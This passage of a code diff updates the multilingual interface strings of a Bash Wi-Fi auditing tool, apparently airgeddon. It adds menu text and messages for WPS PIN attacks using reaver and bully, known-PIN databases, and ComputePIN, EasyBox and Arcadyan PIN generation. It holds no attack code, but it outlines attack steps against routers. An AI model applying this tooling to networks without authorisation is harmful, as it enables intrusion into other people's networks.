plaît..." arr["CATALAN",287]="El script comprovarà si tens accés a internet. Si us plau sigues pacient..." - arr["PORTUGUESE",287]="O script irá verificar se você tem acesso à internet. Por favor,aguarde..." + arr["PORTUGUESE",287]="O script irá verificar se você tem acesso à internet. Por favor, aguarde..." arr["RUSSIAN",287]="Этот скрипт проверит доступ к Интернету. Подождите немного..." arr["GREEK",287]="Το script θα ελέγξει αν έχετε πρόσβαση στο διαδίκτυο. Παρακαλώ έχετε λίγη υπομονή..." arr["ITALIAN",287]="Lo script controllerà se si ha accesso a internet. Si prega di essere pazienti..." @@ -3672,14 +3672,14 @@ function language_strings() { arr["GREEK",360]="12. (reaver) Επίθεση με χρήση βάσης δεδομένων γνωστών PIN" arr["ITALIAN",360]="12. (reaver) Attacco che utilizza una base dati di PINs conosciuti" - arr["ENGLISH",361]="13. Return to main menu" - arr["SPANISH",361]="13. Volver al menú principal" - arr["FRENCH",361]="13. Retourner au menu principal" - arr["CATALAN",361]="13. Tornar al menú principal" - arr["PORTUGUESE",361]="13. Voltar ao menu principal" - arr["RUSSIAN",361]="13. Возврат в главное меню" - arr["GREEK",361]="13. Επιστροφή στο αρχικό μενού" - arr["ITALIAN",361]="13. Tornare al menú principale" + arr["ENGLISH",361]="14. Return to main menu" + arr["SPANISH",361]="14. Volver al menú principal" + arr["FRENCH",361]="14. Retourner au menu principal" + arr["CATALAN",361]="14. Tornar al menú principal" + arr["PORTUGUESE",361]="14. Voltar ao menu principal" + arr["RUSSIAN",361]="14. Возврат в главное меню" + arr["GREEK",361]="14. Επιστροφή στο αρχικό μενού" + arr["ITALIAN",361]="14. Tornare al menú principale" arr["ENGLISH",362]="Custom PIN set to ${normal_color}${custom_pin}" arr["SPANISH",362]="PIN personalizado elegido ${normal_color}${custom_pin}" @@ -3771,14 +3771,14 @@ function language_strings() { arr["GREEK",371]="Έχετε εγκατεστημένο το reaver (v${reaver_version}), αλλά όχι την απαιτούμενη έκδοση. Για να κάνετε την επίθεση Pixie Dust με ενσωματωμένο reaver θα πρέπει να έχετε τουλάχιστον την έκδοση v${minimum_reaver_pixiewps_version}" arr["ITALIAN",371]="È stato installato reaver (v${bully_version}), ma non la versione richiesta. Per realizzare l'attacco Pixie Dust integrato con reaver devi avere almeno la versione v${minimum_reaver_pixiewps_version}" - arr["ENGLISH",372]="This attack can't be performed without known PINs database file" - arr["SPANISH",372]="Sin fichero de base de datos de PINs conocidos no se puede realizar este ataque" - arr["FRENCH",372]="Sans la base donées PIN cette attaque ne peut pas être exécutée" - arr["CATALAN",372]="Sense fitxer de base de dades de PINs coneguts no es pot realitzar aquest atac" - arr["PORTUGUESE",372]="Este ataque não pode ser executado sem o arquivo com banco de dados de PINs conhecidos " - arr["RUSSIAN",372]="Эта атака не может быть выполнена без файла базы данных известных PIN" - arr["GREEK",372]="Η επίθεση αυτή δεν μπορεί να πραγματοποιηθεί χωρίς το αρχείο με την βάση δεδομένων γνωστών PIN" - arr["ITALIAN",372]="Senza nessun database dei PIN conosciuti non si puó eseguire questo attacco" + arr["ENGLISH",372]="This action can't be performed without known PINs database file" + arr["SPANISH",372]="Sin fichero de base de datos de PINs conocidos no se puede realizar esta acción" + arr["FRENCH",372]="Sans la base donées des PINs cette action ne peut pas être exécutée" + arr["CATALAN",372]="Sense fitxer de base de dades de PINs coneguts no es pot realitzar aquesta acció" + arr["PORTUGUESE",372]="Esta ação não pode ser executada sem o arquivo com banco de dados de PINs conhecidos" + arr["RUSSIAN",372]="Это действие не может быть выполнено без файла базы данных известных PIN" + arr["GREEK",372]="Αυτή η ενέργεια δεν μπορεί να πραγματοποιηθεί χωρίς να υπάρχει το αρχείο με την βάση δεδομένων γνωστών PIN" + arr["ITALIAN",372]="Senza il file del database dei PIN conosciuti non si puó eseguire questa azione" arr["ENGLISH",373]="The known PINs database file exists. Script can continue..." arr["SPANISH",373]="Existe el fichero de base de datos de PINs conocidos. El script puede continuar..." @@ -3863,9 +3863,9 @@ function language_strings() { arr["ENGLISH",382]="Checksums of the local and remote files match. Your PINs database file is up-to-date" arr["SPANISH",382]="Los checksum de los ficheros local y remoto coinciden. Tu fichero de base de datos de PINs está actualizado" - arr["FRENCH",382]="Les checksums de la base de données installée et de la base de données en ligne diffèrent. Actualisation de la base de données" + arr["FRENCH",382]="Les checksum des fichiers locaux et distants correspondent. Votre base de données des PINs est à jour" arr["CATALAN",382]="Els checksum dels fitxers local i remot coincideixen. El teu fitxer de base de dades de PINs està actualitzat" - arr["PORTUGUESE",382]="A checksum dos arquivos locais e remotos correspondem. Seu banco de dados local está atualizado" + arr["PORTUGUESE",382]="As checksums locais e remotas correspondem. Seu banco de dados local está atualizado" arr["RUSSIAN",382]="Контрольные суммы локального и удаленного файлов совпадают. Ваш файл базы данных PIN обновляется" arr["GREEK",382]="Τα checksums των τοπικών και των απομακρυσμένων αρχείων ταιριάζουν. Το αρχείο με την βάση δεδομένων PIN είναι ενημερωμένο" arr["ITALIAN",382]="I checksum dei file locali e remoti corrispondono. Il file di base dati dei PINs è aggiornato" @@ -3881,7 +3881,7 @@ function language_strings() { arr["ENGLISH",384]="Searching in PINs database. Please be patient..." arr["SPANISH",384]="Buscando en la base de datos de PINs. Por favor ten paciencia..." - arr["FRENCH",384]="Recherche dans la base de données PIN. Ayez un peu de patience s'il vous plaît" + arr["FRENCH",384]="Recherche dans la base de données PIN. Ayez un peu de patience s'il vous plaît..." arr["CATALAN",384]="Buscant a la base de dades de PINs. Si us plau tingues paciència..." arr["PORTUGUESE",384]="Pesquisando os PINs no banco de dados. Por favor, seja paciente..." arr["RUSSIAN",384]="Поиск в базе данных PIN. Подождите немного..." @@ -3915,14 +3915,14 @@ function language_strings() { arr["GREEK",387]="Δε βρέθηκε αντίστοιχο PIN στην βάση δεδομένων" arr["ITALIAN",387]="Nessuna corrispondenza trovata nella base dati dei PINs" - arr["ENGLISH",388]="Calculating and adding possible PINs using common known algorithms..." - arr["SPANISH",388]="Calculando y añadiendo posibles PINs usando algoritmos conocidos comunes..." - arr["FRENCH",388]="Générations des PIN en appliquant les algorithmes les plus communs" - arr["CATALAN",388]="Calculant i afegint possibles PINs usant algoritmes coneguts comuns..." - arr["PORTUGUESE",388]="Cálculando e adicionando possíveis PINs usando algoritmos comuns conhecidos..." - arr["RUSSIAN",388]="Вычисление и добавление возможных PIN с использованием общеизвестных алгоритмов..." - arr["GREEK",388]="Γίνεται υπολογισμός πιθανών PINs και πρόσθεση αυτών κάνοντας χρήση κοινών γνωστών αλγορίθμων..." - arr["ITALIAN",388]="Calcolando e aggiungendo possibili PINs utilizzando noti algoritmi conosciuti..." + arr["ENGLISH",388]="Calculating and adding possible PINs using common known algorithms (ComputePIN, EasyBox, etc.) ..." + arr["SPANISH",388]="Calculando y añadiendo posibles PINs usando algoritmos conocidos comunes (ComputePIN, EasyBox, etc.) ..." + arr["FRENCH",388]="Générations des PIN en appliquant les algorithmes les plus communs (ComputePIN, EasyBox, etc.) ..." + arr["CATALAN",388]="Calculant i afegint possibles PINs usant algoritmes coneguts comuns (ComputePIN, EasyBox, etc.) ..." + arr["PORTUGUESE",388]="Cálculando e adicionando possíveis PINs usando algoritmos comuns conhecidos (ComputePIN, EasyBox, etc.) ..." + arr["RUSSIAN",388]="Вычисление и добавление возможных PIN с использованием общеизвестных алгоритмов (ComputePIN, EasyBox, etc.) ..." + arr["GREEK",388]="Γίνεται υπολογισμός πιθανών PINs και πρόσθεση αυτών κάνοντας χρήση κοινών γνωστών αλγορίθμων (ComputePIN, EasyBox, etc.) ..." + arr["ITALIAN",388]="Calcolando e aggiungendo possibili PINs utilizzando noti algoritmi conosciuti (ComputePIN, EasyBox, etc.) ..." arr["ENGLISH",389]="PINs calculated by algorithms have been added. The attack will be launched with a total of ${counter_pins_found} PINs" arr["SPANISH",389]="Se han añadido PINs calculados por los algoritmos. El ataque se lanzará con un total de ${counter_pins_found} PINs" @@ -4378,7 +4378,7 @@ function language_strings() { arr["SPANISH",439]="${blue_color}Se ha detectado que no tienes seleccionado ningún objetivo, tendrás que introducir los datos manualmente. ${green_color}¿Deseas continuar? ${normal_color}${visual_choice}" arr["FRENCH",439]="${blue_color}Aucun objectif n'a été sélectionnéIl semble que vous avez sélectionné aucun but, vous devez saisir les données manuellement. ${green_color}Voulez-vous continuer? ${normal_color}${visual_choice}" arr["CATALAN",439]="${blue_color}S'ha detectat que no tens seleccionat cap objectiu, hauràs d'introduir les dades manualment. ${green_color}¿Vols continuar? ${normal_color}${visual_choice}" - arr["PORTUGUESE",439]="${blue_color}Nenhum alvo foi selecionou, você será direcionado para inserir os dados manualmente. ${green_color}deseja continuar? ${normal_color}${visual_choice}" + arr["PORTUGUESE",439]="${blue_color}Nenhum alvo foi selecionado, você será direcionado para inserir os dados manualmente. ${green_color}deseja continuar? ${normal_color}${visual_choice}" arr["RUSSIAN",439]="${blue_color}Вы не выбрали какую-либо цель, вам будет предложено ввести данные вручную. ${green_color}Вы хотите продолжить? ${normal_color}${visual_choice}" arr["GREEK",439]="${blue_color}Δεν έχετε επιλέξει κάποιο στόχο, θα σας ζητηθεί να εισάγετε τα δεδομένα χειροκίνητα. ${green_color}Θέλετε να συνεχίσετε; ${normal_color}${visual_choice}" arr["ITALIAN",439]="${blue_color}Abbiamo rilevato che non è stato selezionato alcun obiettivo, è necessario immettere manualmente i dati. ${green_color}Vuoi continuare? ${normal_color}${visual_choice}" @@ -4788,6 +4788,186 @@ function language_strings() { arr["GREEK",484]="Τα δικαιώματα root έχουν παραχωρηθεί επιτυχώς" arr["ITALIAN",484]="I permessi di root sono stati rilevati correttamente" + arr["ENGLISH",485]="${blue_color}Some PINs have been added calculated using the algorithms (ComputePIN, EasyBox, etc.), however you can add one more (Arcadyan). Calculating it requires certain data and a background scan will have to be performed. The process may be very slow. ${green_color}Do you want to proceed with the calculation to add it? ${normal_color}${visual_choice}" + arr["SPANISH",485]="${blue_color}Se han añadido algunos PINs calculados por algoritmos (ComputePIN, EasyBox, etc.), pero aún se puede añadir uno más (Arcadyan). Calcularlo requiere ciertos datos y habrá que realizar un escaneo en segundo plano. Es posible que el proceso sea muy lento. ${green_color}¿Quieres proceder con el cálculo para añadirlo? ${normal_color}${visual_choice}" + arr["FRENCH",485]="${blue_color}Certains PINs ajouté ont été calculés par des algorithmes (ComputePIN, EasyBox, etc.), mais vous pouvez encore ajouter un autre (Arcadyan). Le calcul nécessite certaines données et une analyse d'arrière-plan devra être effectuée. Le processus peut être très lent. ${green_color}Voulez-vous procéder au calcul pour l'ajouter? ${normal_color}${visual_choice}" + arr["CATALAN",485]="${blue_color}S'han afegit alguns PINs calculats per algoritmes (ComputePIN, EasyBox, etc.), però encara es pot afegir un més (Arcadyan). Calcular-lo requereix certes dades i caldrà realitzar un escaneig en segon pla. És possible que el procés sigui molt lent. ${green_color}Vols procedir amb el càlcul per afegir-ho? ${normal_color}${visual_choice}" + arr["PORTUGUESE",485]="${blue_color}Alguns PINs adicionados foram calculados usando algoritmos (ComputePIN, EasyBox, etc.), mas você ainda pode adicionar mais um (Arcadyan). Calculá-lo requer certos dados e uma verificação em segundo plano terá que ser realizada. O processo pode ser muito lento. ${green_color}Deseja continuar com o cálculo para adicioná-lo? ${normal_color}${visual_choice}" + arr["RUSSIAN",485]="${blue_color}Некоторые добавленные PIN были вычислены алгоритмами (ComputePIN, EasyBox, и т.д.), но вы можете добавить ещё один (Arcadyan). Для его вычисления требуются определенные данные, и необходимо выполнить фоновое сканирование. Процесс может быть очень медленным. ${green_color}Вы хотите добавить PIN, вычисленные этим алгоритмом? ${normal_color}${visual_choice}" + arr["GREEK",485]="${blue_color}Έχουν προστεθεί ορισμένοι κωδικοί PIN υπολογισμένοι με τους αλγόριθμους (ComputePIN, EasyBox, κτλπ.), μπορείτε όμως να προσθέσετε άλλον έναν κωδικό (Arcadyan). Ο υπολογισμός του απαιτεί ορισμένα δεδομένα και θα πρέπει να πραγματοποιηθεί κάποιο scan στο background. Η διαδικασία αυτή μπορεί να αργοπορήσει. ${green_color}Θέλετε να συνεχίσετε με τον υπολογισμό του και να τον προσθέσετε; ${normal_color}${visual_choice}" + arr["ITALIAN",485]="${blue_color}Sono stati aggiunti alcuni PIN calcolati da algoritmi (ComputePIN, EasyBox, etc.), ma è possibile aggiungerne ancora uno (Arcadyan). Il calcolo richiede alcuni dati e deve essere eseguita una scansione in secondo piano. Il processo può essere molto lento. ${green_color}Vuoi procedere con il calcolo per aggiungerlo? ${normal_color}${visual_choice}" + + arr["ENGLISH",486]="It's not possible to generate PIN with Arcadyan algorithm. To be able to do it, update wash (included in reaver package) to a newer version including the necessary \"-j\" option (1.6.2)" + arr["SPANISH",486]="No es posible generar el PIN con el algoritmo Arcadyan. Para poder hacerlo actualice wash (incluido en el paquete reaver) a una versión superior que tenga la necesaria opción \"-j\" (1.6.2)" + arr["FRENCH",486]="Il n'est pas possible de générer le PIN avec l'algorithme Arcadyan. Pour ce faire, mettez à jour wash (inclus dans le paquet reaver) vers une version supérieure qui a l'option \"-j\" (1.6.2)" + arr["CATALAN",486]="No és possible fer el PIN amb l'algoritme Arcadyan. Per poder fer-ho actualitzi wash (inclòs en el paquet reaver) a una versió superior que tingui la necessària opció \"-j\" (1.6.2)" + arr["PORTUGUESE",486]="Não foi possível gerar o PIN com o algoritmo Arcadyan. Para isso, atualize wash (incluso no pacote reaver) para uma versão que tenha a opção necessária \"-j\" (1.6.2)" + arr["RUSSIAN",486]="Невозможно создать PIN с алгоритмом Arcadyan. Чтобы это сделать, обновите wash (включена в пакет reaver) на более новую версию, которая имеет необходимую опцию \"-j\" (1.6.2)" + arr["GREEK",486]="Δεν είναι δυνατό να δημιουργηθεί PIN με τον αλγόριθμο Arcadyan. Για να το κάνετε αυτό, ενημερώστε το wash (περιλαμβάνεται στο πακέτο του reaver) σε νεότερη έκδοση, συμπεριλαμβανομένης της απαραίτητης επιλογής \"-j\" (1.6.2)" + arr["ITALIAN",486]="Non è possibile generare il PIN con l'algoritmo Arcadyan. Per effettuare questa operazione, aggiornare wash (incluso nel pacchetto reaver) a una versione più nuova che disponga dell'opzione necessaria \"-j\" (1.6.2)" + + arr["ENGLISH",487]="PIN generated using Arcadyan algorithm (${normal_color}${arcadyan_pin}${yellow_color})" + arr["SPANISH",487]="Se ha generado el PIN con el algoritmo Arcadyan (${normal_color}${arcadyan_pin}${yellow_color})" + arr["FRENCH",487]="Le PIN a été généré avec l'algorithme Arcadyan (${normal_color}${arcadyan_pin}${yellow_color})" + arr["CATALAN",487]="S'ha generat el PIN amb l'algoritme Arcadyan (${normal_color}${arcadyan_pin}${yellow_color})" + arr["PORTUGUESE",487]="Foi gerado um PIN com o algoritmo Arcadyan (${normal_color}${arcadyan_pin}${yellow_color})" + arr["RUSSIAN",487]="PIN-код, созданный с использованием алгоритма Arcadyan (${normal_color}${arcadyan_pin}${yellow_color})" + arr["GREEK",487]="Το PIN δημιουργήθηκε με τον αλγόριθμο Arcadyan (${normal_color}${arcadyan_pin}${yellow_color})" + arr["ITALIAN",487]="Il PIN è stato generato con l'algoritmo Arcadyan (${normal_color}${arcadyan_pin}${yellow_color})" + + arr["ENGLISH",488]="PIN can't be generated using Arcadyan algorithm. Failed to collect a complete \"probe\" response from the access point. Probably because of low signal quality" + arr["SPANISH",488]="No se ha podido generar el PIN con el algoritmo Arcadyan. No se ha podido recoger una respuesta \"probe\" completa del punto de acceso. Probablemente porque la señal no es buena" + arr["FRENCH",488]="Impossible de générer le PIN avec l'algorithme Arcadyan. Impossible de collecter une réponse complète \"probe\" à partir du point d'accès. Probablement parce que le signal n'est pas de bonne qualite" + arr["CATALAN",488]="No s'ha pogut generar el PIN amb l'algoritme Arcadyan. No s'ha pogut recollir una resposta \"probe\" completa del punt d'accés. Probablement perquè el senyal no és bona" + arr["PORTUGUESE",488]="Não foi possível gerar um PIN com o algoritmo Arcadyan. Falha ao coletar a resposta de \"probe\" completa do ponto de acesso. Provavelmente porque o sinal não é bom" + arr["RUSSIAN",488]="PIN-код не может быть сгенерирован с использованием алгоритма Arcadyan. Не удалось получить полный ответ \"probe\" от точки доступа. Возможно, из-за низкого качества сигнала" + arr["GREEK",488]="Το PIN δεν μπορεί να δημιουργηθεί χρησιμοποιώντας τον αλγόριθμο Arcadyan. Δεν ήταν δυνατή η συλλογή πλήρους \"probe\" response από το σημείο πρόσβασης. Πιθανόν επειδή το σήμα είναι χαμηλό" + arr["ITALIAN",488]="Impossibile generare il PIN con l'algoritmo Arcadyan. Impossibile raccogliere una risposta \"probe\" completa dal punto di accesso. Probabilmente perché il segnale non è buono" + + arr["ENGLISH",489]="Attempting to collect a complete \"probe\" response from the target access point. This process can take up to 4 minutes..." + arr["SPANISH",489]="Intentando recoger una respuesta \"probe\" completa del punto de acceso objetivo. Este proceso puede durar hasta 4 minutos..." + arr["FRENCH",489]="Tentative de collecter une réponse complète de \"probe\" à partir du point d'accès ciblé. Ce processus peut prendre jusqu'à 4 minutes..." + arr["CATALAN",489]="Intentant recollir una resposta \"probe\" completa del punt d'accés objectiu. Aquest procés pot durar fins a 4 minuts..." + arr["PORTUGUESE",489]="Tentando coletar uma resposta de \"probe\" completa do ponto do acesso. Este processo pode levar até 4 minutos..." + arr["RUSSIAN",489]="Попытка собрать полный запрос \"probe\" от целевой точки доступа. Этот процесс может занять до 4 минут..." + arr["GREEK",489]="Γίνεται προσπάθεια συλλογής πλήρους \"probe\" response από το σημείο πρόσβασης (στόχος). Αυτή η διαδικασία μπορεί να διαρκέσει έως και 4 λεπτά..." + arr["ITALIAN",489]="Cercando di raccogliere una risposta \"probe\" completa dal punto di accesso obiettivo. Questo processo può richiedere fino a 4 minuti..." + + arr["ENGLISH",490]="The Arcadyan algorithm needs a very specific data to calculate the PIN (the serial number of the access point). Getting this data can take a lot of time. You can optionally choose to try to generate it. This generated PIN is very useful in networks of type Orange-XXXX" + arr["SPANISH",490]="El algoritmo Arcadyan necesita un dato muy concreto para poder calcular el PIN (el número de serie del punto de acceso). Obtener este dato puede llevar bastante tiempo. Podrás elegir opcionalmente intentar generarlo. Este PIN generado es muy útil en redes del tipo Orange-XXXX" + arr["FRENCH",490]="L'algorithme Arcadyan nécessite des données très spécifiques pour calculer le PIN (le numéro de série du point d'accès). L'obtention de ces données peut prendre un certain temps. Vous pouvez choisir optionnellement d'essayer de le générer. Ce PIN généré est très utile dans les réseaux de type Orange-XXXX" + arr["CATALAN",490]="L'algoritme Arcadyan necessita una dada molt concret per poder calcular el PIN (el nombre de sèrie del punt d'accés). Obtenir aquesta dada pot portar prou de temps. Podràs triar opcionalment intentar generar-lo. Aquest PIN generat és molt útil en xarxes del tipus Orange-XXXX" + arr["PORTUGUESE",490]="O algoritmo Arcadyan precisa de dados muito específicos para calcular o PIN (o número de série do ponto de acesso). Obter esses dados pode levar bastante tempo mas você pode optar por tentar gerá-los. O PIN gerado é muito útil nas redes Orange-XXXX" + arr["RUSSIAN",490]="Алгоритм Arcadyan требует очень специфических данных для расчета PIN-кода (серийный номер точки доступа). Получение этих данных может занять много времени. При желании вы можете сгенерировать PIN, используя этот алгоритм. Этот сгенерированный PIN-код очень полезен в сетях типа Orange-XXX" + arr["GREEK",490]="Ο αλγόριθμος Arcadyan χρειάζεται πολύ συγκεκριμένα δεδομένα για τον υπολογισμό του PIN (ο σειριακός αριθμός του σημείου πρόσβασης). Η λήψη αυτών των δεδομένων μπορεί να χρειαστεί αρκετό χρόνο. Μπορείτε να επιλέξετε να προσπαθήσετε να το δημιουργήσετε. Tο PIN που θα δημιουργηθεί είναι πολύ χρήσιμο σε δίκτυα τύπου Orange-XXXX" + arr["ITALIAN",490]="L'algoritmo Arcadyan richiede dati molto specifici per calcolare il PIN (il numero di serie del punto di accesso). Ottenere questi dati può richiedere molto tempo. Puoi scegliere opzionalmente di provare a generarlo. Questo PIN generato è molto utile nelle reti di tipo Orange-XXXX" + + arr["ENGLISH",491]="Arcadyan algorithm is not useful for the selected target network, a valid value can't be calculated" + arr["SPANISH",491]="El algoritmo Arcadyan no sirve para la red objetivo seleccionada, no se puede calcular un valor válido" + arr["FRENCH",491]="L'algorithme Arcadyan ne correspond pas au réseau sélectionné, une valeur valide ne peut pas être calculée" + arr["CATALAN",491]="L'algoritme Arcadyan no serveix per a la xarxa objectiu seleccionada, no es pot calcular un valor vàlid" + arr["PORTUGUESE",491]="O algoritmo Arcadyan não se encaixa na rede selecionada, não foi possivel calcular um valor válido" + arr["RUSSIAN",491]="Алгоритм Arcadyan бесполезен для выбранной целевой сети, действительное значение не может быть рассчитано" + arr["GREEK",491]="Ο αλγόριθμος Arcadyan δεν είναι χρήσιμος για το επιλεγμένο δίκτυο, δεν μπορεί να υπολογιστεί έγκυρη τιμή" + arr["ITALIAN",491]="L'algoritmo Arcadyan non è adatto alla rete selezionata come obiettivo, non è possibile calcolare un valore valido" + + arr["ENGLISH",492]="The Arcadyan algorithm can't be calculated. Although you chose the bully option for the attack, you need to use wash (included in reaver package) to calculate that PIN and you don't have it installed. The script will continue the attack without including it" + arr["SPANISH",492]="El algoritmo Arcadyan no puede ser calculado. Aunque elegiste la opción de ataque con bully, para calcular ese PIN se necesita utilizar wash (incluido en el paquete reaver) y tú no lo tienes instalado. El script continuará el ataque sin incluirlo" + arr["FRENCH",492]="L'algorithme Arcadyan ne peut pas être calculé. Bien que vous ayez choisi l'option d'attaque bully, pour calculer ce PIN, vous devez utiliser wash (inclus dans le paquet reaver) et vous ne l'avez pas installé. Le script continuera l'attaque sans l'inclure" + arr["CATALAN",492]="L'algoritme Arcadyan no pot ser calculat. Encara que vas triar l'opció d'atac amb bully, per calcular aquest PIN es necessita utilitzar wash (inclòs en el paquet reaver) i tu no el tens instal·lat. El script continuarà l'atac sense incloure" + arr["PORTUGUESE",492]="O algoritmo Arcadyan não pôde efetuar o calculo. Embora você tenha escolhido a opção de ataque com bully, para calcular esse PIN, você precisa usar wash (incluso no pacote reaver) que você não possui. O script continuará o ataque sem calculá-lo" + arr["RUSSIAN",492]="Алгоритм Arcadyan не может быть рассчитан. Вы выбрали опцию bully для атаки, а для расчета этого PIN-кода вам необходимо использовать wash (включенную в пакет reaver), который у вас не установлен. Скрипт продолжит атаку без этого алгоритма" + arr["GREEK",492]="Ο αλγόριθμος Arcadyan δεν μπορεί να υπολογιστεί. Παρόλο που επιλέξατε την επιλογή bully για την επίθεση, χρειάζεται να χρησιμοποιήσετε το wash (περιλαμβάνεται στο πακέτο του reaver) για να υπολογίσετε το PIN και δεν το έχετε εγκαταστήσει. Το script θα συνεχίσει την επίθεση χωρίς να το συμπεριλάβει" + arr["ITALIAN",492]="L'algoritmo Arcadyan non può essere calcolato. Anche se hai scelto l'opzione di attacco con bully, per calcolare quel PIN che devi usare wash (incluso nel pacchetto reaver) e non l'hai installato. Lo script continuerà l'attacco senza includerlo" + + arr["ENGLISH",493]="The Arcadyan algorithm PIN has already been calculated for this target (${normal_color}${wps_data_array[${wps_bssid},'Arcadyan']}${yellow_color}). There is no need to calculate it again" + arr["SPANISH",493]="El PIN del algoritmo Arcadyan ya fue calculado para este objetivo (${normal_color}${wps_data_array[${wps_bssid},'Arcadyan']}${yellow_color}). No hace falta calcularlo de nuevo" + arr["FRENCH",493]="Le PIN de l'algorithme Arcadyan a était déjà calculé pour cette cible (${normal_color}${wps_data_array[${wps_bssid},'Arcadyan']}${yellow_color}). Pas besoin de le calculer à nouveau" + arr["CATALAN",493]="El PIN de l'algoritme Arcadyan ja va ser calculat per a aquest objectiu (${normal_color}${wps_data_array[${wps_bssid},'Arcadyan']}${yellow_color}). No cal calcular-lo de nou" + arr["PORTUGUESE",493]="O PIN com algoritmo Arcadyan já foi calculado para esta rede (${normal_color}${wps_data_array[${wps_bssid},'Arcadyan']}${yellow_color}). Não é necessário calculá-lo novamente" + arr["RUSSIAN",493]="PIN с помощью алгоритма Arcadyan уже рассчитан для этой цели (${normal_color}${wps_data_array[${wps_bssid},'Arcadyan']}${yellow_color}). Нет необходимости вычислять его снова" + arr["GREEK",493]="Ο αλγόριθμος Arcadyan PIN έχει ήδη υπολογιστεί για αυτό το δίκτυο (${normal_color}${wps_data_array[${wps_bssid},'Arcadyan']}${yellow_color}). Δεν χρειάζεται να υπολογιστεί ξανά" + arr["ITALIAN",493]="Il PIN dell'algoritmo Arcadyan è già stato calcolato per questo obiettivo (${normal_color}${wps_data_array[${wps_bssid},'Arcadyan']}${yellow_color}). Non c'è bisogno di calcolarlo di nuovo" + + arr["ENGLISH",494]="13. Offline PIN generation using algorithms and database" + arr["SPANISH",494]="13. Generación offline de PINs con algoritmos y base de datos" + arr["FRENCH",494]="13. Génération offline de PINs avec les algorithmes et la base de données" + arr["CATALAN",494]="13. Generació offline de PINs amb algoritmes i base de dades" + arr["PORTUGUESE",494]="13. Gerar PINs offline com algoritmos e com o banco de dados" + arr["RUSSIAN",494]="13. Офлайн генерация PIN-кода, используя алгоритмы и базу данных" + arr["GREEK",494]="13. Offline δημιουργία PIN με χρήση δίαφορων αλγορίθμων και έτοιμης βάσης δεδομένων" + arr["ITALIAN",494]="13. Generazione offline di PIN con algoritmi e database" + + arr["ENGLISH",495]="Offline PIN generation menu" + arr["SPANISH",495]="Menú de generación offline de PINs" + arr["FRENCH",495]="Menu de génération de PIN offline" + arr["CATALAN",495]="Menú de generació offline de PINs" + arr["PORTUGUESE",495]="Menu de geração offline de PINs" + arr["RUSSIAN",495]="Меню создания PIN-кода" + arr["GREEK",495]="Μενού offline δημιουργίας PIN" + arr["ITALIAN",495]="Menu di generazione offline dei PIN" + + arr["ENGLISH",496]="5. Search in PIN database" + arr["SPANISH",496]="5. Consultar en la base de datos de PINs" + arr["FRENCH",496]="5. Chercher dans la base de données PIN" + arr["CATALAN",496]="5. Consultar a la base de dades de PINs" + arr["PORTUGUESE",496]="5. Verificar PINs no banco de dados " + arr["RUSSIAN",496]="5. Поиск в базе данных PIN-кода" + arr["GREEK",496]="5. Αναζήτηση στη βάση δεδομένων PIN" + arr["ITALIAN",496]="5. Controllare il database dei PIN" + + arr["ENGLISH",497]="9. Return to WPS attacks menu" + arr["SPANISH",497]="9. Volver al menú de ataques WPS" + arr["FRENCH",497]="9. Retour au menu d'attaques WPS" + arr["CATALAN",497]="9. Tornar al menú d'atacs WPS" + arr["PORTUGUESE",497]="9. Voltar ao menu de ataques WPS" + arr["RUSSIAN",497]="9. Вернуться в меню атак WPS" + arr["GREEK",497]="9. Επιστροφή στο μενού επιθέσεων WPS" + arr["ITALIAN",497]="9. Tornare al menú attacchi WPS" + + arr["ENGLISH",498]="choose database or algorithm" + arr["SPANISH",498]="escoge base de datos o algoritmo" + arr["FRENCH",498]="choisissez la base de données ou l'algorithme" + arr["CATALAN",498]="tria base de dades o algoritme" + arr["PORTUGUESE",498]="escolha um algoritmo ou o banco de dados" + arr["RUSSIAN",498]="выбрать базу данных или алгоритм" + arr["GREEK",498]="επιλέξτε βάση δεδομένων ή αλγόριθμο" + arr["ITALIAN",498]="scegliere database o algoritmo" + + arr["ENGLISH",499]="Showing matches in the PIN database..." + arr["SPANISH",499]="Mostrando coincidencias de la base de datos de PINs..." + arr["FRENCH",499]="Afficher les résultats de la base de données PIN..." + arr["CATALAN",499]="Mostrant coincidències de la base de dades de PINs..." + arr["PORTUGUESE",499]="Mostrando correspondências de PINs do banco de dados..." + arr["RUSSIAN",499]="Отображение совпадений в базе данных PIN-кода..." + arr["GREEK",499]="Εμφάνιση αντιστοιχιών στη βάση δεδομένων PIN..." + arr["ITALIAN",499]="Mostrando le corrispondenze del database dei PIN..." + + arr["ENGLISH",500]="Showing calculated PIN using ComputePIN algorithm..." + arr["SPANISH",500]="Mostrando PIN calculado con el algoritmo ComputePIN..." + arr["FRENCH",500]="Affichage du PIN calculé avec l'algorithme ComputePIN..." + arr["CATALAN",500]="Mostrant PIN calculat amb l'algoritme ComputePIN..." + arr["PORTUGUESE",500]="Mostrando o PIN calculado usando o algoritmo ComputePIN..." + arr["RUSSIAN",500]="Отображение PIN-кода, рассчитанного с использованием алгоритма ComputePIN..." + arr["GREEK",500]="Εμφανίζεται το PIN που έχει υπολογιστεί χρησιμοποιώντας τον αλγόριθμο ComputePIN..." + arr["ITALIAN",500]="Mostrando il PIN calcolato utilizzando l'algoritmo ComputePIN..." + + arr["ENGLISH",501]="Showing calculated PIN using EasyBox algorithm..." + arr["SPANISH",501]="Mostrando PIN calculado con el algoritmo EasyBox..." + arr["FRENCH",501]="Affichage du PIN calculé avec l'algorithme EasyBox..." + arr["CATALAN",501]="Mostrant PIN calculat amb l'algoritme EasyBox..." + arr["PORTUGUESE",501]="Mostrando o PIN calculado usando o algoritmo EasyBox..." + arr["RUSSIAN",501]="Отображение PIN-кода, рассчитанного с использованием алгоритма EasyBox..." + arr["GREEK",501]="Εμφανίζεται το PIN που έχει υπολογιστεί χρησιμοποιώντας τον αλγόριθμο EasyBox..." + arr["ITALIAN",501]="Mostrando il PIN calcolato utilizzando l'algoritmo EasyBox..." + + arr["ENGLISH",502]="Showing calculated PIN using Arcadyan algorithm..." + arr["SPANISH",502]="Mostrando PIN calculado con el algoritmo Arcadyan..." + arr["FRENCH",502]="Affichage du PIN calculé avec de l'algorithme Arcadyan..." + arr["CATALAN",502]="Mostrant PIN calculat amb l'algoritme Arcadyan..." + arr["PORTUGUESE",502]="Mostrando o PIN calculado usando o algoritmo Arcadyan..." + arr["RUSSIAN",502]="Отображение PIN-кода, рассчитанного с использованием алгоритма Arcadyan..." + arr["GREEK",502]="Εμφανίζεται το PIN που έχει υπολογιστεί χρησιμοποιώντας τον αλγόριθμο Arcadyan..." + arr["ITALIAN",502]="Mostrando il PIN calcolato utilizzando l'algoritmo Arcadyan..." + + arr["ENGLISH",503]="It's not necessary to perform 